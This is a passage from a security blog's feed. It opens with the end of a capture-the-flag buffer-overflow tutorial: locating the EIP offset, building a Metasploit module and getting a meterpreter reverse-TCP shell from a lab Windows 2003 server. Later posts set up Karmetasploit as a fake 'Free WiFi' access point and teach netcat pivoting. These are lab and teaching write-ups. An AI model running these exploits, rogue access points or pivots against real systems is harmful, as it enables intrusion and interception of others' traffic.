<p>On WS2003 box:<br />
Set up server.exe in the debugger as described earlier.</p>
<p>On BT4 box:</p>
<pre>root@bt:~# cat overflow.txt | nc 10.1.0.1 1337</pre>
<p>When the application crashed, the registers had the following values:</p>
<p><div id="attachment_257" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf015.jpg" target="_blank"><img class="size-thumbnail wp-image-257" title="Register values when server.exe overflows" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf015-150x150.jpg" alt="Register values when server.exe overflows" width="150" height="150" /></a><p class="wp-caption-text">Register values when server.exe overflows</p></div></p>
<pre>EAX 0013ECA0 ASCII "Aa0Aa1Aa2Aa3Aa4Aa5Aa..."
ECX 0013FDE0
EDX 00000800
EBX 7FFD6000
ESP 0013EDA8 ASCII "Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj..."
EBP 69413569
ESI 00000000
EDI 00000000
EIP 37694136</pre>
<p>From the CPU window, we can gather address ranges of interest. Offsets gathered by double clicking on the address storing the value of EIP, in our case 0&#215;0013EDA4&#8230;</p>
<p><div id="attachment_258" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf016.jpg" target="_blank"><img class="size-thumbnail wp-image-258" title="Address ranges storing our input to server.exe" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf016-150x148.jpg" alt="Address ranges storing our input to server.exe" width="150" height="148" /></a><p class="wp-caption-text">Address ranges storing our input to server.exe</p></div></p>
<pre>Offset Address Hex Val ASCII
$-104 0013ECA0 41306141 Aa0A &lt;- beginning of EAX
$-100 0013ECA4 61413161 a1Aa
... ...
$-8 0013ED9C 41346941 Ai4A
$-4 0013EDA0 69413569 i5Ai &lt;- end of EAX
$ ==&gt; 0013EDA4 37694136 6Ai7 &lt;- value stored in EIP
$+4 0013EDA8 41386941 Ai8A &lt;- beginning of ESP
$+8 0013EDAC 6A413969 i9Aj
... ...
$+6F4 0013F498 43307143 Cq0C
$+6F8 0013F49C 71433171 q1Cq &lt;- end of ESP
$+6FC 0013F4A0 FBFAF9F8 øùúû</pre>
<p>Note that our offset for the beginning of EAX is 0&#215;104 (base 16) which is 260 base 10, matching what we discovered earlier.</p>
<p>The buffer to which ESP points has length 0&#215;6F8 (base 16) giving us 1784 bytes to store our shellcode.</p>
<p>We can confirm this number using the same method we used to find the offset for EIP earlier:</p>
<p>Take the Hex value at the end of the ESP buffer and find the offset:</p>
<pre>root@bt:~# /opt/metasploit3/msf3/tools/pattern_offset.rb 71433171 5000
2044</pre>
<p>Calcualate the total space by subtracting the offset of EIP<br />
2044 - 260 = 1784</p>
<p>Sweet.</p>
<p>Also, remember back in the step &#8220;Determine if Vulnerable to Buffer Overflow,&#8221; when server.exe crashed, it reported, &#8220;Bytes received: 2048?&#8221;</p>
<p>Well, 260 bytes (EAX) + 4 bytes (EIP) + 1784 bytes (ESP) = 2048. It&#8217;s nice that computers are precise :)</p>
<p><strong>FACT</strong>: ESP will hold 1784 bytes.</p>
<p><strong>Build Metasploit Exploit Module<br />
</strong>Neither author of this tutorial are Metasploit experts. However, developing an exploit module for this overflow will be pretty simple.  Mooky provided an excellent write-up on Metasploit module creation.  Please read <a href="http://www.wrgross.com/blogs/security/2011/04/03/metasploit-module-creation/">Mooky&#8217;s tutorial</a> for details on how this module was developed.</p>
<p>We will find an existing Metasploit module that exploits a simple buffer overflow, then modify it to meet our needs.</p>
<p>The freeftpd_user.rb module is a perfect candidate. The file is in:<br />
/opt/metasploit3/msf3/modules/exploits/windows/ftp</p>
<p>Lets make a new directory for our new module, and get a copy of freeftpd_user.rb, and begin editing&#8230;  Mooky&#8217;s tutorial includes a <a href="http://www.wrgross.com/assets/code/metasploitmoduletemplate_rb.txt" target="_blank">module template</a> that would work as well.  It is commented for easy understanding.</p>
<p>On BT4 box:</p>
<pre>root@bt:~# mkdir /opt/metasploit3/msf3/modules/exploits/ctf
root@bt:~# cd /opt/metasploit3/msf3/modules/exploits/ctf/
root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# cp ../windows/telnet/goodtech_telnet.rb .
root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# ls
goodtech_telnet.rb
root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# mv goodtech_telnet.rb ctf.rb
root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# vi ctf.rb</pre>
<p>For ease of use, <a href="http://www.wrgross.com/assets/code/ctf_rb.txt" target="_blank">download the edited Metasploit module</a>.</p>
<p>The facts, discovered above, that we need to develop the exploit:<br />
Filler: 260 bytes<br />
Location of JMP ESP: 0&#215;77C6AFEE<br />
Max Payload: 1784<br />
Server port: 1337</p>
<p>Once done editing the file, save it and test the exploit.</p>
<p><strong>Test Metasploit Exploit Module<br />
</strong>Our Metasploit module is created, all we have to do now is to test.</p>
<p>Fortunately, the Metasploit platform makes it very simple to add a payload and exploit the vulnerability. We will use the windows reverse TCP handler as the payload.</p>
<p>On WS2003 box:<br />
Start Immunity Debugger<br />
Open server.exe<br />
Hit F9<br />
Hit Shift+F9 after starting the run</p>
<p>Alternatively, you can simply start server.exe from the command line - outside the debugger. You don&#8217;t really need the debugger at this point&#8230;</p>
<p><div id="attachment_259" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf017.jpg" target="_blank"><img class="size-thumbnail wp-image-259" title="Testing the Metasploit module" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf017-150x150.jpg" alt="Testing the Metasploit module" width="150" height="150" /></a><p class="wp-caption-text">Testing the Metasploit module</p></div></p>
<p>On BT4 box:</p>
<pre>root@bt:/opt/metasploit3/msf3/msfconsole
msf &gt; use exploit/ctf/ctf
msf exploit(ctf) &gt; set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD =&gt; windows/meterpreter/reverse_tcp
msf exploit(ctf) &gt; set LHOST 10.1.0.2
LHOST =&gt; 10.1.0.2
msf exploit(ctf) &gt; set RHOST 10.1.0.1
RHOST =&gt; 10.1.0.1
msf exploit(ctf) &gt; exploit
[*] Started reverse handler on 10.1.0.2:4444
[*] Trying target Windows Server 2003 English...
[*] Sending stage (749056 bytes) to 10.1.0.1
[*] Meterpreter session 1 opened (10.1.0.2:4444 -&gt; 10.1.0.1:1033)...</pre>
<p>We can verify we have shell access by comparing a process list generated through meterpreter, and generated through the Windows Server command line.</p>
<p>In our example, notice that the &#8216;ps&#8217; command run through meterpreter generates the same process list as the Windows Server. Get out the R00t Dance!</p>
<p><div id="attachment_260" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf018.jpg" target="_blank"><img class="size-thumbnail wp-image-260" title="Pwnt!" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf018-150x150.jpg" alt="Pwnt!" width="150" height="150" /></a><p class="wp-caption-text">Pwnt!</p></div></p>
<p>On BT4 box:</p>
<pre>meterpreter &gt; ps
...
1656 wmiprvse.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiprvse.exe
400 cmd.exe x86 0 WS2003\Administrator C:\WINDOWS\system32\cmd.exe
996 server.exe x86 0 WS2003\Administrator C:\ctf\server.exe
584 cmd.exe x86 0 WS2003\Administrator C:\WINDOWS\system32\cmd.exe
1960 wmiprvse.exe x86 0 C:\WINDOWS\system32\wbem\wmiprvse.exe</pre>
<p>On WS2003 box:</p>
<pre>C:\&gt; tasklist
...
wmiprvse.exe 1656 Console 0 4,808 K
cmd.exe 400 Console 0 1,508 K
server.exe 996 Console 0 1,696 K
cmd.exe 584 Console 0 1,408 K
tasklist.exe 1648 Console 0 3,492 K
wmiprvse.exe 1960 Console 0 4,892 K</pre>
<p>Note: when you run the exploit, you may get the following output:</p>
<pre>[*] Started reverse handler on 10.1.0.2:4444
[*] Trying target Windows Server 2003 English...
[*] Exploit completed, but no session was created.</pre>
<p>This failure to adequately exploit the vulnerability is the result of ASLR, I believe. Please read on.</p>
<p>In order to successfully run this exploit, you may need to re-start server.exe and try again, possibly several times.</p>
<p><strong>Impact of ASLR and DEP<br />
</strong>For the exploit to work, I had to disable DEP on the WS2003 box.</p>
<p><em>ASLR</em><br />
With DEP disabled, the exploit still fails roughly 50% of the time - I suspect due to ASLR.<br />
Here are the run results from 20 attempted runs of the exploit module, 1=success, 0=fail: 11100000010101111110<br />
Watching the debugger during test runs, it is clear that the location storing EIP changes for instances where the exploit fails.</p>
<p><em>DEP</em><br />
Once I got the exploit working, even with a 50% fail rate under ASLR, I re-enabled DEP to test further.</p>
<p><em>Results</em><br />
The exploit fails 100% of the time with DEP enabled, even when it would have worked.</p>
<p>We can confirm that the exploit would have worked by observing the value of EIP when the exploit module is executed.</p>
<pre>0013EDA4 77C6AFEE .... RPCRT4.77C6AFEE</pre>
<p>So, I suspect that the 50% failure rate is the result of ASLR.</p>
<p><strong>Output of Error Logs</strong><br />
Back in the step, &#8220;Determine if Vulnerable to Buffer Overflow,&#8221; I mentioned that full error log entries were included&#8230; Here they are, partially truncated for brevity. I left some useful instructional tidbits in the Dr. Watson error log message.</p>
<p>The DR. Watson log entry only appears to be created when I crashed server.exe with DEP enabled. I didn&#8217;t test this hypothesis, however. In any case, I included the entry, for completeness.</p>
<p>From the error log:</p>
<pre>Event Type:	Error
Event Source:	Application Error
Event Category:	(100)
Event ID:	1000
Date:		2/9/2011
Time:		11:01:54 PM
User:		N/A
Computer:	WS2003
Description:
Faulting application server.exe, version 0.0.0.0, faulting module unknown,
version 0.0.0.0, fault address 0x61616161.

For more information, see Help and Support Center at
http://go.microsoft.com/fwlink/events.asp.
Data:
0000: 41 70 70 6c 69 63 61 74   Applicat
0008: 69 6f 6e 20 46 61 69 6c   ion Fail
0010: 75 72 65 20 20 73 65 72   ure  ser
0018: 76 65 72 2e 65 78 65 20   ver.exe
0020: 30 2e 30 2e 30 2e 30 20   0.0.0.0
0028: 69 6e 20 75 6e 6b 6e 6f   in unkno
0030: 77 6e 20 30 2e 30 2e 30   wn 0.0.0
0038: 2e 30 20 61 74 20 6f 66   .0 at of
0040: 66 73 65 74 20 36 31 36   fset 616
0048: 31 36 31 36 31            16161</pre>
<p>Dr. Watson error&#8230;</p>
<pre>Event Type:	Information
Event Source:	DrWatson
Event Category:	None
Event ID:	4097
Date:		2/9/2011
Time:		11:01:54 PM
User:		N/A
Computer:	WS2003
Description:
The application, C:\ctf\server.exe, generated an application error
The error occurred on 02/09/2011 @ 23:01:54.869 The exception
generated was c0000005 at address 61616161 ()

For more information, see Help and Support Center at
http://go.microsoft.com/fwlink/events.asp.
Data:
0000: 0d 00 0a 00 0d 00 0a 00   ........
0008: 41 00 70 00 70 00 6c 00   A.p.p.l.
0010: 69 00 63 00 61 00 74 00   i.c.a.t.
0018: 69 00 6f 00 6e 00 20 00   i.o.n. .
0020: 65 00 78 00 63 00 65 00   e.x.c.e.
0028: 70 00 74 00 69 00 6f 00   p.t.i.o.
0030: 6e 00 20 00 6f 00 63 00   n. .o.c.
0038: 63 00 75 00 72 00 72 00   c.u.r.r.
0040: 65 00 64 00 3a 00 0d 00   e.d.:...
0048: 0a 00 20 00 20 00 20 00   .. . . .
0050: 20 00 20 00 20 00 20 00    . . . .
0058: 20 00 41 00 70 00 70 00    .A.p.p.
0060: 3a 00 20 00 43 00 3a 00   :. .C.:.
0068: 5c 00 63 00 74 00 66 00   \.c.t.f.
0070: 5c 00 73 00 65 00 72 00   \.s.e.r.
0078: 76 00 65 00 72 00 2e 00   v.e.r...
0080: 65 00 78 00 65 00 20 00   e.x.e. .
0088: 28 00 70 00 69 00 64 00   (.p.i.d.
0090: 3d 00 32 00 31 00 36 00   =.2.1.6.
0098: 29 00 0d 00 0a 00 20 00   )..... .
00a0: 20 00 20 00 20 00 20 00    . . . .
00a8: 20 00 20 00 20 00 57 00    . . .W.
00b0: 68 00 65 00 6e 00 3a 00   h.e.n.:.
00b8: 20 00 32 00 2f 00 39 00    .2./.9.
00c0: 2f 00 32 00 30 00 31 00   /.2.0.1.
00c8: 31 00 20 00 40 00 20 00   1. .@. .
00d0: 32 00 33 00 3a 00 30 00   2.3.:.0.
00d8: 31 00 3a 00 35 00 34 00   1.:.5.4.
00e0: 2e 00 38 00 36 00 39 00   ..8.6.9.
00e8: 0d 00 0a 00 20 00 20 00   .... . .
00f0: 20 00 20 00 20 00 20 00    . . . .
00f8: 20 00 20 00 45 00 78 00    . .E.x.
0100: 63 00 65 00 70 00 74 00   c.e.p.t.
0108: 69 00 6f 00 6e 00 20 00   i.o.n. .
0110: 6e 00 75 00 6d 00 62 00   n.u.m.b.
0118: 65 00 72 00 3a 00 20 00   e.r.:. .
0120: 63 00 30 00 30 00 30 00   c.0.0.0.
0128: 30 00 30 00 30 00 35 00   0.0.0.5.
0130: 20 00 28 00 61 00 63 00    .(.a.c.
0138: 63 00 65 00 73 00 73 00   c.e.s.s.
0140: 20 00 76 00 69 00 6f 00    .v.i.o.
0148: 6c 00 61 00 74 00 69 00   l.a.t.i.
0150: 6f 00 6e 00 29 00 0d 00   o.n.)...
....
1178: 0d 00 0a 00 65 00 69 00   ....e.i.
1180: 70 00 3d 00 36 00 31 00   p.=.6.1.
1188: 36 00 31 00 36 00 31 00   6.1.6.1.
1190: 36 00 31 00 20 00 65 00   6.1. .e.
1198: 73 00 70 00 3d 00 30 00   s.p.=.0.
11a0: 30 00 31 00 32 00 65 00   0.1.2.e.
11a8: 64 00 61 00 38 00 20 00   d.a.8. .
11b0: 65 00 62 00 70 00 3d 00   e.b.p.=.
11b8: 36 00 31 00 36 00 31 00   6.1.6.1.
11c0: 36 00 31 00 36 00 31 00   6.1.6.1.
....
1a00: 20 00 0d 00 0a 00 57 00    .....W.
1a08: 41 00 52 00 4e 00 49 00   A.R.N.I.
1a10: 4e 00 47 00 3a 00 20 00   N.G.:. .
1a18: 46 00 72 00 61 00 6d 00   F.r.a.m.
1a20: 65 00 20 00 49 00 50 00   e. .I.P.
1a28: 20 00 6e 00 6f 00 74 00    .n.o.t.
1a30: 20 00 69 00 6e 00 20 00    .i.n. .
1a38: 61 00 6e 00 79 00 20 00   a.n.y. .
1a40: 6b 00 6e 00 6f 00 77 00   k.n.o.w.
1a48: 6e 00 20 00 6d 00 6f 00   n. .m.o.
1a50: 64 00 75 00 6c 00 65 00   d.u.l.e.
....</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.wrgross.com/blogs/security/2011/02/25/tutorial-%e2%80%93-remote-buffer-overflow-identification-and-exploitation/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fix screen resolution for BackTrack VM under VirtualBox</title>
		<link>http://www.wrgross.com/blogs/security/2011/02/14/fix-screen-resolution-for-backtrack-vm-under-virtualbox/</link>
		<comments>http://www.wrgross.com/blogs/security/2011/02/14/fix-screen-resolution-for-backtrack-vm-under-virtualbox/#comments</comments>
		<pubDate>Tue, 15 Feb 2011 02:49:10 +0000</pubDate>
		<dc:creator>Bill Gross</dc:creator>
		
		<category><![CDATA[BackTrack]]></category>

		<guid isPermaLink="false">http://www.wrgross.com/blogs/security/?p=232</guid>
		<description><![CDATA[Revisions: 20110521 - Revised to show the fix for BT5
On BT5
The following worked with no fuss:
# Xorg -configure
# cp /root/xorg.conf.new /etc/X11/xorg.conf
# startx
And that&#8217;s it!
On BT4
Note to self.  To fix the screen resolution for X on a host running BackTrack on VirtualBox&#8230;
Modify the &#8220;Screen&#8221; section in /etc/X11/xorg.conf to read as follows:
Section "Screen"
Identifier           "Default Screen"
Monitor             [...]]]></description>
			<content:encoded><![CDATA[<p>Revisions: 20110521 - Revised to show the fix for BT5</p>
<p><strong>On BT5</strong></p>
<p>The following worked with no fuss:</p>
<pre># Xorg -configure
# cp /root/xorg.conf.new /etc/X11/xorg.conf
# startx</pre>
<p>And that&#8217;s it!</p>
<p><strong>On BT4</strong></p>
<p>Note to self.  To fix the screen resolution for X on a host running BackTrack on VirtualBox&#8230;</p>
<p>Modify the &#8220;Screen&#8221; section in /etc/X11/xorg.conf to read as follows:</p>
<pre>Section "Screen"
Identifier           "Default Screen"
Monitor             "Configured Monitor"
Device               "Configured Video Device"
DefaultDepth     24
SubSection "Display"
Depth    24
Modes   "1024x768" "800x600"
EndSubSection
EndSection</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.wrgross.com/blogs/security/2011/02/14/fix-screen-resolution-for-backtrack-vm-under-virtualbox/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Karmetasploit on BT4R2</title>
		<link>http://www.wrgross.com/blogs/security/2011/01/08/karmetasploit-on-bt4r2/</link>
		<comments>http://www.wrgross.com/blogs/security/2011/01/08/karmetasploit-on-bt4r2/#comments</comments>
		<pubDate>Sat, 08 Jan 2011 11:13:47 +0000</pubDate>
		<dc:creator>Bill Gross</dc:creator>
		
		<category><![CDATA[BackTrack]]></category>

		<category><![CDATA[Metasploit]]></category>

		<category><![CDATA[Research]]></category>

		<category><![CDATA[Tools]]></category>

		<category><![CDATA[Vectors]]></category>

		<guid isPermaLink="false">http://www.wrgross.com/blogs/security/?p=222</guid>
		<description><![CDATA[Purpose
The purpose of this post is to provide quick guidance on getting Karmetasploit running on BT4R2 for my specific environment.  These steps may work for you, but this post is intended, primarily, to document this so I can remember it later&#8230;
Background
Karmetasploit is a combination of Karma and Metaploit.
Resources Used
1: KARMA + Metasploit Framework 3 == [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Purpose</strong><br />
The purpose of this post is to provide quick guidance on getting Karmetasploit running on BT4R2 for my specific environment.  These steps may work for you, but this post is intended, primarily, to document this so I can remember it later&#8230;</p>
<p><strong>Background</strong><br />
Karmetasploit is a combination of <a href="http://www.theta44.org/karma/">Karma</a> and <a href="http://www.metasploit.com/">Metaploit</a>.</p>
<p><strong>Resources Used</strong><br />
1: <a href="http://www.metasploit.com/redmine/projects/framework/wiki/Karmetasploit">KARMA + Metasploit Framework 3 == Karmetasploit</a><br />
2: <a href="http://www.offensive-security.com/backtrack/metasploit-with-mysql-in-backtrack-4-r2/">Metasploit with MYSQL in BackTrack 4 r2</a><br />
3: <a href="http://www.offensive-security.com/metasploit-unleashed/Karmetasploit_Configuration">Karmetasploit Configuration</a><br />
4a: <a href="http://carnal0wnage.blogspot.com/2008/08/playing-with-karmasploit-part-1.html">Metasploit + Karma=Karmetasploit Part 1</a><br />
4b: <a href="http://carnal0wnage.blogspot.com/2008/08/metasploit-karmakarmasploit-part-2.html">Metasploit + Karma=Karmetasploit Part 2</a></p>
<p><strong>Prerequisites</strong></p>
<ul>
<li>BT4R2 is installed</li>
<li>Networking to the Internet is available (to update BT and MSF)</li>
</ul>
<p><strong>Update BackTrack and MSF</strong><br />
Update BT4R2</p>
<blockquote><p>&gt; /usr/bin/apt-get update<br />
&gt; /usr/bin/apt-get upgrade</p></blockquote>
<p>Update MSF</p>
<blockquote><p>&gt; /opt/metasploit3/msf3/msfupdate</p></blockquote>
<p><strong>Configure</strong><br />
Metasploit Karma Configuration File<br />
Download File</p>
<blockquote><p>&gt; /usr/bin/lynx -nolist -dump http://metasploit.com/users/hdm/tools/karma.rc &gt; karma.rc</p></blockquote>
<p>Edit File<br />
Change the following lines as noted<br />
<em>load db_sqllite3 &#8211;&gt; db_driver mysql<br />
db_create /root/karma.db &#8211;&gt; db_connect root:toor@localhost/karma</em></p>
<p>DHCP Configuration File<br />
Edit File<br />
Change the following config file as described in Resource 1.<br />
<em>/etc/dhcp3/dhcpd.conf</em></p>
<p><strong>Reboot</strong><br />
Restart the host to reset the wireless network&#8230;  This step may be necessary if you were using the wireless interface to perform the above activities.</p>
<p><strong>Test Wireless Injection</strong></p>
<blockquote><p>&gt; /usr/local/sbin/airmon-ng start wlan0</p></blockquote>
<p>The above command creates interface mon0.<br />
The next command tests packet injection on the interface. (Note, this is &#8220;DASH DASH test mon0&#8243; - it may display as &#8220;DASH test mon0&#8243; in your browser).</p>
<blockquote><p>&gt; /usr/local/sbin/aireplay-ng &#8211;test mon0</p></blockquote>
<p>To stop the monitor interface</p>
<blockquote><p>&gt; /usr/local/sbin/airmon-ng stop mon0</p></blockquote>
<p><strong>Run</strong><br />
Start MySQL</p>
<blockquote><p>&gt; /etc/init.d/mysql start</p></blockquote>
<p>Create Fake AP<br />
If have not done so, place the wireless card in monitor mode using:</p>
<blockquote><p>&gt; /usr/local/sbin/airmon-ng start wlan0</p></blockquote>
<p>Then execute the following commands:</p>
<blockquote><p>&gt; /usr/local/sbin/airbase-ng -P -C 30 -c 1 -e &#8220;Free WiFi&#8221; -v mon0</p></blockquote>
<p>(The above command creates interface at0.  We will use this as the end-point interface for clients connecting to our fake AP.)<br />
Note: without the -c 1 option, my AP would NOT show up in the available networks list of my victim. I obtained the channel number by looking at the output of the &#8211;test.  I compared the APs showing up in that list to those showing up on my victim, then using the same channel.  Others have experienced this as noted in Kosis&#8217;s comment on CG&#8217;s blog post (Resource 4b).</p>
<blockquote><p>&gt; /sbin/ifconfig at0 up 10.0.0.1 netmask 255.255.255.0<br />
&gt; /usr/sbin/dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0<br />
&gt; /opt/metaploit3/msf3/msfconsole -r karma.rc<br />
&gt; /usr/sbin/tcpdump -w dump.pcap -i at0</p></blockquote>
<p><strong>Look at Progress</strong></p>
<blockquote><p>msf&gt; db_notes</p></blockquote>
<p>Consider: Blackhole Routing from the MSF paper</p>
<p><strong>NOTES</strong><br />
Looks like fakedns crashes after some time. Appears to crash after first client connections.  How to monitor?<br />
The fakedns can be restarted as follows:</p>
<blockquote><p>msf&gt; use auxiliary/server/fakedns<br />
msf&gt; set SRVPORT 53<br />
msf&gt; run</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.wrgross.com/blogs/security/2011/01/08/karmetasploit-on-bt4r2/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Creating a bootable USB thumb drive</title>
		<link>http://www.wrgross.com/blogs/security/2011/01/08/creating-a-bootable-usb-thumb-drive/</link>
		<comments>http://www.wrgross.com/blogs/security/2011/01/08/creating-a-bootable-usb-thumb-drive/#comments</comments>
		<pubDate>Sat, 08 Jan 2011 10:07:50 +0000</pubDate>
		<dc:creator>Bill Gross</dc:creator>
		
		<category><![CDATA[BackTrack]]></category>

		<category><![CDATA[Linux Tricks]]></category>

		<category><![CDATA[Research]]></category>

		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.wrgross.com/blogs/security/?p=216</guid>
		<description><![CDATA[
I want to get started with BackTrack 4 R2 (BT4R2) on a dedicated laptop. But I don&#8217;t think I can burn a DVD reliably, so I need another method.
Solution - Bootable USB Thumb Drive
This solution may work with other operating systems&#8230;
Steps:

Download BT4R2 ISO image.
Download UNetbootin and install.
Use UNetbootin to create the bootable ISO. This may [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-thumbnail wp-image-218 alignright" title="USB Drive" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/01/hand-grenade-usb-drive-150x150.jpg" alt="USB Drive" width="150" height="150" /></p>
<p>I want to get started with <a href="http://www.backtrack-linux.org/">BackTrack</a> 4 R2 (BT4R2) on a dedicated laptop. But I don&#8217;t think I can burn a DVD reliably, so I need another method.</p>
<p>Solution - Bootable USB Thumb Drive</p>
<p>This solution may work with other operating systems&#8230;</p>
<p>Steps:</p>
<ol>
<li><a href="http://www.backtrack-linux.org/downloads/">Download BT4R2</a> ISO image.</li>
<li><a href="http://unetbootin.sourceforge.net/">Download UNetbootin</a> and install.</li>
<li>Use UNetbootin to create the bootable ISO. This may take a while.</li>
<li>Prep target laptop by ensuring that the &#8220;boot from USB&#8221; option is enabled.  On my test box, a D620, it&#8217;s F2 at boot to get into the BIOS configuration.  NOTE: Be sure to clean up the boot settings once the OS is installed on the HDD.</li>
<li>Once UNetbootin is done creating the bootable USB drive, insert the key into the target laptop and boot!</li>
<li>Follow <a href="http://www.backtrack-linux.org/tutorials/backtrack-hard-drive-install/">process to install</a> BT4R2.</li>
</ol>
<p>Saweet.</p>
<p>Bill</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wrgross.com/blogs/security/2011/01/08/creating-a-bootable-usb-thumb-drive/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Yet Another Netcat Introduction</title>
		<link>http://www.wrgross.com/blogs/security/2010/05/22/yet-another-netcat-introduction/</link>
		<comments>http://www.wrgross.com/blogs/security/2010/05/22/yet-another-netcat-introduction/#comments</comments>
		<pubDate>Sat, 22 May 2010 13:03:20 +0000</pubDate>
		<dc:creator>Bill Gross</dc:creator>
		
		<category><![CDATA[Linux Tricks]]></category>

		<category><![CDATA[Tools]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[Vectors]]></category>

		<guid isPermaLink="false">http://www.wrgross.com/blogs/security/?p=207</guid>
		<description><![CDATA[An introduction to netcat, and crating and using netcat relays.  Concept and some content taken from Ed Skoudis' tech segment notes on PaulDotCom Episode 195.]]></description>
			<content:encoded><![CDATA[<p>Howdy folks!</p>
<p><a href="http://pauldotcom.com/wiki/index.php/Episode195">Episode 195</a> of <a href="http://www.pauldotcom.com/">PaulDotCom Security Weekly</a> prompted me to revisit an old favorite, netcat (<a href="http://sectools.org/#netcat">many netcat versions exist</a>).  On the episode, Ed Skoudis provided an excellent technical segment on using netcat and netcat-like relays.</p>
<p>The write-up at PDC is very well done, but I thought I&#8217;d work my way through the examples, and try to illustrate with more text and some graphics.  If you are following the notes on PDC, be advised I am using the term pivot synonymously with relay&#8230;</p>
<p>The goal of this post is to reinforce my own understanding of netcat by providing an informative introduction, and help readers who may not have familiarity with netcat develop an understanding of the possibilities the tool introduces.</p>
<p><strong>Background</strong></p>
<p>The simple netcat session consists of two steps:</p>
<ol>
<li> On one host, create a netcat listener on a specified port – sometimes referred to as the server</li>
<li> On another host, create a netcat connection to the listener created in Step 1, sometimes referred to as the client</li>
</ol>
<p>Once established, a netcat session provides bi-directional communication.  Data going in one end, comes out the other.  The session does not discriminate between &#8216;client&#8217; and &#8217;server.&#8217; The only differentiator is that the listener is created first.</p>
<p>A fairly contrived networking example is provided below to illustrate netcat in use.</p>
<p>The version of netcat used in these examples is provided with BackTrack 4, and is slightly different than the version provided with some flavors of *Nix.  But the basics are the same.  If you are using Ubuntu - the -p when creating the listener is optional.  Other than that, these command should work as written.</p>
<p><strong>Example 1: Simple Netcat Session</strong></p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-209" title="1_SimpleNCSession" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2010/05/1_simplencsession.png" alt="" width="450" height="451" />Image 1: Simple Netcat Session</p>
<p>In this example, Host A and Host B want to communicate.  Following the process described above, Host B creates a listener in Step 1, and Host A connects to that listener in Step 2.</p>
<p>A slightly more complicate example is provided in Example 2.</p>
<p><strong>Example 2: Partial Pivot</strong></p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-210" title="2_PartialPivot" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2010/05/2_partialpivot.png" alt="" width="450" height="617" />Image 2: Partial Pivot</p>
<p>In Example 2, Hosts A and B can communicate, and B and C can communicate, but A and C cannot, directly.</p>
<p>If A wants to send data to C, we must pivot through B.  We must use B as a relay between A and C.</p>
<p>This requires two netcat sessions.  One between B and C, and another between A and B.  Naturally, then, we need to set up two listeners (servers) and two talkers (clients).</p>
<p>The first session is established between B and C.  This is done in Step 1 and the second part of Step 2.<br />
Step 1) &gt; nc -l -p 3333<br />
Step 2.2) &gt; nc 10.1.0.3 3333</p>
<p>The second session is created between A and B.  This is done in the first part of Step 2 and in Step 3:<br />
Step 2.1) &gt; nc -l -p 2222<br />
Step 3) &gt; nc 10.1.0.2 2222</p>
<p>The key to making this pivot work, is that we must connect the output of the second session (between Host A and B) to the input of the first session (between Host B and C).  This can be seen in the diagram&#8217;s Step 2.  Host B issues the command to establish the listener for the communication with Host A using a pipe to send the output to the connection is it making to Host C.<br />
&gt; nc -l -p 2222 | nc 10.1.0.3 3333<br />
This basically says, “listen for data coming in on 2222 and pipe it to port 3333 on host 10.1.0.3.</p>
<p>Perfect.  Now all data sent to stdin on Host A will be sent through the pivot at Host B and to stdout on Host C.</p>
<p>The problem, however, is that Host A cannot see the results of whatever he sends through to C.</p>
<p>The challenge is that Host A&#8217;s output to B is being piped into a netcat session with C.  Data coming back from C appears on the stdout of Host B!  Host A never gets to see what is going on.</p>
<p>To remedy this, we must pipe the stdout coming from Host C to Host B to a place A can see it.  If Host B has write access to a publicly accessible source (e.g., ftp server, wwwroot, etc) then problem solved.  Or, we can create a third netcat session back from B to A!</p>
<p><strong>Example 3: Two-way Pivot</strong></p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-211" title="3_FullPivot" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2010/05/3_fullpivot.png" alt="" width="450" height="653" />Image 3: Two-way Pivot</p>
<p>This example extends the second example by simply providing one more netcat session back from stdin on B (coming from C) to Host A.</p>
<p>The stinky part is that Host A now has two terminal windows open:</p>
<ol>
<li>A session for sending the data through the pivot at B to C, and</li>
<li> A session for receiving the results coming from C back through the pivot at B.</li>
</ol>
<p>What we do gain, however, is that though Hosts A and C cannot talk directly, they can relay their communications through an intermediary set of hosts to accomplish the same task.</p>
<p>This method can be simplified.</p>
<p>As Ed pointed out in his Technical Segment, a shell redirect through a named pipe works quite well.</p>
<p><strong>Example 4: Two-Way Pivot Using Named Pipe</strong></p>
